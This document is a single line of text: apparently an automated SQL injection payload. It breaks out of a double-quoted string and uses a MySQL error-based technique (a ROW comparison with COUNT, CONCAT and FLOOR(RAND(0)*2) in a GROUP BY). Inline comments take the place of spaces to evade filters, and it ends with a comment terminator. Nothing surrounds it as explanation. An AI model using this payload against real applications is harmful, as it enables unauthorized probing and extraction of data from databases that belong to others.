1" AND ,(SELECT/**/2524/**/FROM/**/(SELECT/**/ROW(2524,5430)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2524=2524,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2018/**/UNION/**/SELECT/**/7444/**/UNION/**/SELECT/**/3961/**/UNION/**/SELECT/**/6099)a/**/GROUP/**/BY/**/x))s)-- -